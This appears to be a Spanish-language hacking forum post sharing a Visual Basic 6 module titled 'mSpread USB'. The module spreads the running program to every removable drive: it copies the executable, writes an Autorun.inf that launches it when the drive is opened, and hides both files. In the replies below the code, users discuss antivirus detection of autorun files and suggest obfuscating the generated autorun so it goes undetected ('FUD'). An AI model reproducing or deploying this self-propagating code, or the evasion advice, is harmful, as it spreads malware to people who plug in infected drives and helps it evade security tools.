Option Explicit
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
' MODULO : mSpread USB |||
' FECHA : 12/29/2010 22:39 |||
' AUTOR : Fakedo0r |||
' CORREO : [email protected] |||
' DESCRIPCION : Propagacion por USB |||
' USO : Call USB |||
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'------------------------------------------------------------------------------
'==============================================================================
' --- APIS
'==============================================================================
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
'==============================================================================
' --- CONSTANTES
'==============================================================================
Private Const FILE_ATTRIBUTE_HIDDEN = 2
'==============================================================================
' --- FUNCION COPIAR
'==============================================================================
Private Function APIFileCopy(src As String, Dest As String, Optional FailIfDestExists As Boolean) As Boolean
Dim lRet As Long
lRet = CopyFile(src, Dest, FailIfDestExists)
APIFileCopy = (lRet > 0)
End Function
'==============================================================================
' --- FUNCION OBTENER NOMBRE
'==============================================================================
Private Function GetName(File As String) As String
Dim P As Long
P = InStrRev(File, "\")
If P > 0 Then GetName = Mid(File, P + 1, Len(File))
End Function
'==============================================================================
' --- FUNCION CALL USB
'==============================================================================
Public Function USB()
Dim D As Long
Dim sDrive As String
For D = 65 To 90
sDrive = Chr(D) & ":\"
If GetDriveType(sDrive) = "2" Then
Dim sName As String
Dim sFile As String
sFile = App.Path & "\" & App.EXEName & ".exe"
sName = GetName(sFile)
Open sDrive & "Autorun.inf" For Append As #1
Print #1, "[AutoRun]"
Print #1, "Open=" & sName
Print #1, "UseAutoPlay = 1"
Print #1, "shell\open\Command=" & sName
Print #1, "shell\open\Default = 1"
Print #1, "shell\explore\Command = " & sName
Close #1
DoEvents
Call APIFileCopy(sFile, sDrive & sName)
Call SetFileAttributes(sDrive & sName, FILE_ATTRIBUTE_HIDDEN)
Call SetFileAttributes(sDrive & "Autorun.inf", FILE_ATTRIBUTE_HIDDEN)
End If
Next D
End Function
Esta buenisimo, lastima que ahora los AVs detectan a los autorun.inf
ahy moduylos que crean autorun sin que los detecte por años es mas no lo detectan son tan aleatorios que nisiquiera dspues ed años lo llegan a detectar
Ofusca el code y sera uno de esos modulos de los que habla el Katze :P
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Ofusca el code y sera uno de esos modulos de los que habla el Katze :P
:S
No tiene nada que ver ofuscar este código con el autorun que genere....
salu2!
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
You are not allowed to view links.
You are not allowed to view links.
Register or Login or You are not allowed to view links.
Register or Login
Ofusca el code y sera uno de esos modulos de los que habla el Katze :P
:S
No tiene nada que ver ofuscar este código con el autorun que genere....
salu2!
Entendiste mal PAPA :P, yo hablo de ofuscar el code de autorun generado y no de este modulo :P , quizas me exprese mal.
Saludos.
ah, entonces si jajaja. Desde luego tiene que salir un autorun FUD por narices... la mayoria de los cds de programas lleban autorun y no son detectados.